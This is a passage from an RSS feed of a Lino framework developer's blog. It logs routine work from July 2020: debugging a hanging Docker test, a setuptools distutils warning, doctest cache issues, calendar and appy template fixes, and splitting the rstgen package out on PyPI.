&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run_docker_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;===== run in &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; : &lt;/span&gt;&lt;span class="si"&gt;{}&lt;/span&gt;&lt;span class="s2"&gt; =====&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;#39;&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;
    &lt;span class="n"&gt;exit_code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;container&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exec_run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;bash -c &amp;#39;{}&amp;#39;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tty&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;exit_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;  returned &lt;/span&gt;&lt;span class="si"&gt;%d&lt;/span&gt;&lt;span class="s2"&gt;:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;-----&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;-----&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exit_code&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I added these &lt;cite&gt;stdin=True, tty=True&lt;/cite&gt; some days ago but they obviously don’t
help.&lt;/p&gt;
&lt;p&gt;I tried the following: I run &lt;a class="reference external" href="https://atelier.lino-framework.org/invlib.html#command-inv-test" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in getlino on my machine, and when
it is hanging, I look at the last line because it gives me the container id:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;===== run in &amp;lt;Container: b65722b0bb&amp;gt; : . /usr/local/lino/shared/env/master/bin/activate &amp;amp;&amp;amp; sudo env PATH=$PATH getlino configure --batch --monit =====
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now I can access that container from another terminal and try to find out what’s
happening.  For example:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker exec -it b65722b0bb ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
lino         1  0.0  0.0  20252  3636 pts/0    Ss+  11:17   0:00 /bin/bash
root        70  0.0  0.0  49448  3940 pts/1    Ss+  11:17   0:00 sudo env PATH=/usr/local/lino/shared/env/master/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/
root        78  0.0  0.3  86580 28028 pts/1    S+   11:17   0:00 /usr/local/lino/shared/env/master/bin/python /usr/local/lino/shared/env/master/bin/getlino configure --batch
mysql     6644  0.0  0.0   4624  1768 ?        S    11:21   0:00 /bin/sh /usr/bin/mysqld_safe
mysql     6994  0.1  2.2 1424296 181728 ?      Sl   11:21   0:07 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --log-error=/var/
root      7070  0.0  0.0 141116  1556 ?        Ss   11:21   0:00 nginx: master process /usr/sbin/nginx
www-data  7071  0.0  0.0 141492  3556 ?        S    11:21   0:00 nginx: worker process
www-data  7072  0.0  0.0 141492  3556 ?        S    11:21   0:00 nginx: worker process
root      7074  0.0  0.0   4624   860 pts/1    S+   11:21   0:00 /bin/sh -c mysql_secure_installation
root      7075  0.0  0.0  33964  6592 pts/1    S+   11:21   0:00 mysql_secure_installation
lino      7087  0.0  0.0  36148  3140 pts/2    Rs+  13:06   0:00 ps aux
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here are the explanation of the STAT codes (taken from &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;man&lt;/span&gt; &lt;span class="pre"&gt;ps&lt;/span&gt;&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;    &lt;span class="n"&gt;interruptible&lt;/span&gt; &lt;span class="n"&gt;sleep&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;waiting&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;    &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="n"&gt;leader&lt;/span&gt;
&lt;span class="n"&gt;l&lt;/span&gt;    &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;multi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;threaded&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;using&lt;/span&gt; &lt;span class="n"&gt;CLONE_THREAD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;like&lt;/span&gt; &lt;span class="n"&gt;NPTL&lt;/span&gt; &lt;span class="n"&gt;pthreads&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;    &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;foreground&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt; &lt;span class="n"&gt;group&lt;/span&gt;
&lt;span class="n"&gt;R&lt;/span&gt;    &lt;span class="n"&gt;running&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;runnable&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt; &lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I then discovered how to run an interactive session in my docker container:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ docker build -t getlino_debian -f Dockerfiles/debian .
$ docker run -it --name mycont getlino_debian /bin/bash
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Hitting &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;-&lt;kbd class="kbd docutils literal notranslate"&gt;D&lt;/kbd&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ docker rm –force mycont&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;$ docker run –publish 8000:8080 –detach –name mycont getlino_debian&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I think we need multi-stage builds. I plan to review our docker strategy and started reading
&lt;a class="reference external" href="https://blog.bitsrc.io/a-guide-to-docker-multi-stage-builds-206e8f31aeb8"&gt;https://blog.bitsrc.io/a-guide-to-docker-multi-stage-builds-206e8f31aeb8&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;But that will take more time. To be continued.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="distutils-was-imported-before-setuptools"&gt;
&lt;h2&gt;“Distutils was imported before Setuptools”&lt;a class="headerlink" href="#distutils-was-imported-before-setuptools" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;My yesterday changes didn’t fix the issue that something is still causing the
following warnings:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;UserWarning&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Distutils&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;imported&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="n"&gt;Setuptools&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;usage&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;discouraged&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="n"&gt;exhibit&lt;/span&gt; &lt;span class="n"&gt;undesirable&lt;/span&gt; &lt;span class="n"&gt;behaviors&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Please&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;Setuptools&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; objects directly or at least import Setuptools first.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After reading &lt;a class="reference external" href="https://github.com/microsoft/vscode-python/issues/12949"&gt;this&lt;/a&gt;, I changed the
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/ci.html#xfile-.travis.yml" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.travis.yml&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file of presto (where the problem also occurred) to request
setuptools before 49.2:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;pip&lt;/span&gt; &lt;span class="n"&gt;install&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;U&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;setuptools&amp;lt;49.2&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This fixed the problem. So it seems that &lt;a class="reference external" href="https://setuptools.readthedocs.io/en/latest/history.html"&gt;the latest change in setuptools 49.2&lt;/a&gt; (“Now warn the
user when setuptools is imported after distutils modules have been loaded
(exempting PyPy for 3.6), directing the users of packages to import setuptools
first.”) somehow causes the problem.  It’s a problem for me because it causes
our doctests to fail.  And because I don’t see how to get rid of this warning. I
don’t import distutils myself.&lt;/p&gt;
&lt;p&gt;I saw it also locally on my machine, even with a simple runserver in min1. So I
reported this to Django as well: &lt;a class="reference external" href="https://code.djangoproject.com/ticket/31808"&gt;https://code.djangoproject.com/ticket/31808&lt;/a&gt;
(but that ticket turned out to be invalid: a plain virgin django project does
not have the problem, so it must be one of our dependencies)&lt;/p&gt;
&lt;/section&gt;
&lt;section id="no-local-config-directory-contact-your-system-administrator"&gt;
&lt;h2&gt;“No local config directory. Contact your system administrator.”&lt;a class="headerlink" href="#no-local-config-directory-contact-your-system-administrator" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The welfare test run on &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt; is &lt;a class="reference external" href="https://travis-ci.org/github/lino-framework/welfare/jobs/710248248"&gt;failing&lt;/a&gt;
in &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/specs/welcht/misc.rst&lt;/span&gt;&lt;/code&gt; with above message.&lt;/p&gt;
&lt;p&gt;This is caused by my recent changes in the config dirs. Let’s see whether it
helps when I deactivate &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for this test.&lt;/p&gt;
&lt;p&gt;This is now causing a &lt;a class="reference external" href="https://travis-ci.org/github/lino-framework/welfare/jobs/710260192"&gt;django.db.utils.OperationalError: no such table:
users_user&lt;/a&gt;. I guess
that’s because my trick of deactivating &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; makes the
doctest use another directory where prep hasn’t run. This trick works only when
I don’t access the database in my doctest. So I need to imagine another
solution.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="more-manual-testing-on-the-weleup-preview"&gt;
&lt;h2&gt;More manual testing on the weleup preview&lt;a class="headerlink" href="#more-manual-testing-on-the-weleup-preview" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added a call to &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt; in the &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; on
weleup.  I still see no confirmation that checkdata has ever run on their prod
site. It should run every evening at 20:00, but there are no log entries. On the
preview it has run and logged yesterday evening. Their prod site has only 5
checkdata messages (actually there are thousands of them).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="attributeerror-nonetype-object-has-no-attribute-has-auto-events"&gt;
&lt;h2&gt;AttributeError: ‘NoneType’ object has no attribute ‘has_auto_events’&lt;a class="headerlink" href="#attributeerror-nonetype-object-has-no-attribute-has-auto-events" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Lino failed to show the detail of a calendar entry with an auto_type but no
owner (which is a checkdata problem because this case doesn’t occur
theoretically). The traceback was clear: AttributeError: ‘NoneType’ object has
no attribute ‘has_auto_events’&lt;/p&gt;
&lt;p&gt;The problem was in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. I fixed it but didn’t yet add an
automated test case.&lt;/p&gt;
&lt;p&gt;I tested manually by setting the auto_type field of a manually created calendar
entry to a non-empty value.  To edit that field which is not shown in the detail
window, I go to &lt;span class="menuselection"&gt;Explorer ‣ Calendar Entries&lt;/span&gt; and add the column
labelled “Nr.”.&lt;/p&gt;
&lt;p&gt;Editing the field caused another AttributeError “‘NoneType’ object has no
attribute ‘update_cal_summary’” for a similar reason.&lt;/p&gt;
&lt;p&gt;Code changes: Fixed two exceptions caused by a calendar entry with an
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;auto_type&lt;/span&gt;&lt;/code&gt; but no &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;owner&lt;/span&gt;&lt;/code&gt; (which is a checkdata problem because
this case doesn’t occur theoretically). The checkdata message “Has auto_type but
no owner.” is now fixable, it fixes the problem by setting the auto_type to None
in that case.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="auszuge-vergleichen"&gt;
&lt;h2&gt;Auszüge vergleichen&lt;a class="headerlink" href="#auszuge-vergleichen" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bescheinigung EiEi : hier steht im Adressfeld jetzt “(no recipient address)”
(wenn die Bescheinigung keinen Empfänger hat), und unterm Namen sind
irgendwelche Logos.&lt;/p&gt;
&lt;p&gt;Here is a run script I used to localize the problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;models&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;excerpts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Excerpt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pk&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;28109&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_address_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;class&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Recipient&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The reason was a changed behaviour in appy in when you have both a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;do&lt;/span&gt; &lt;span class="pre"&gt;text&lt;/span&gt;
&lt;span class="pre"&gt;from&lt;/span&gt;&lt;/code&gt; and a &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;do&lt;/span&gt; &lt;span class="pre"&gt;text&lt;/span&gt; &lt;span class="pre"&gt;if&lt;/span&gt;&lt;/code&gt; comment in a same paragraph:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_address_html&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;class&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Recipient&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}))&lt;/span&gt;

&lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;excerpt_type&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;print_recipient&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is how I explained it to Gaetan:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Je viens d’observer une différence subtile entre la nouvelle version de appy et
la vielle version. Dans un template du CPAS j’ai un paragraphe encadré qui
contient un texte “(recipient address)”. Voir image. Ce texte sera effacé car le
paragraphe contient aussi un commentaire “do text from”. Jusqu’ici pas de
différence. Mais dans ce meme paragraphe il y a encore un deuxième commentaire
“do text if”. Dans la nouvelle version appy, j’ai du déplacer l’ancre de
commentaire avant mon text “(recipient address”) car sinon ce texte n’était pas
écrasé.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;img alt="../../_images/0721_app3.png" src="../../_images/0721_app3.png" /&gt;
&lt;/section&gt;
&lt;section id="ismail-getting-started"&gt;
&lt;h2&gt;Ismail getting started&lt;a class="headerlink" href="#ismail-getting-started" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ismail reported a problem installing &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt;, and I guess that it’s just
because noi hasn’t been released to pypi for a while.&lt;/p&gt;
&lt;p&gt;Oho, while trying to reproduce his problem I realized that etgen depends on
atelier.  Because of &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.rstgen&lt;/span&gt;&lt;/code&gt;. Maybe move &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen&lt;/span&gt;&lt;/code&gt; from &lt;cite&gt;atelier&lt;/cite&gt; to
&lt;cite&gt;etgen&lt;/cite&gt;, and make &lt;cite&gt;atelier&lt;/cite&gt; depend on it? No, that would create a circular
dependence.  But wait, I can simply move &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;atelier.rstgen&lt;/span&gt;&lt;/code&gt; into a spearate
package named &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen&lt;/span&gt;&lt;/code&gt;.  That name is still available on PyPI.&lt;/p&gt;
&lt;p&gt;All in all it was easier than I feared: I declared the new package &lt;a class="reference external" href="https://atelier.lino-framework.org/api/index.html#module-rstgen" title="(in atelier v1.1)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;rstgen&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
on PyPI: &lt;a class="reference external" href="https://pypi.org/project/rstgen/20.7.0/"&gt;https://pypi.org/project/rstgen/20.7.0/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;How to test whether the README.rst file of a new package contains syntax
errors:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ rst2html.py --strict README.rst
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I updated the &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#dev-overview" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Repositories of the Lino framework&lt;/span&gt;&lt;/a&gt; page of the book.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2020/0721.html</guid><pubDate>Tue, 21 Jul 2020 00:00:00 +0000</pubDate></item><item><title>Monday, July 20, 2020</title><link>https://luc.lino-framework.org/blog/2020/0720.html</link><description>&lt;section id="monday-july-20-2020"&gt;
&lt;h1&gt;Monday, July 20, 2020&lt;a class="headerlink" href="#monday-july-20-2020" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="run-a-lino-application-on-pythonanywhere"&gt;
&lt;h2&gt;Run a Lino application on PythonAnywhere&lt;a class="headerlink" href="#run-a-lino-application-on-pythonanywhere" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I started the page &lt;a class="reference external" href="https://hosting.lino-framework.org/pyanywhere/#admin-pyanywhere" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Running Lino on PythonAnywhere&lt;/span&gt;&lt;/a&gt; because it would be nice for future
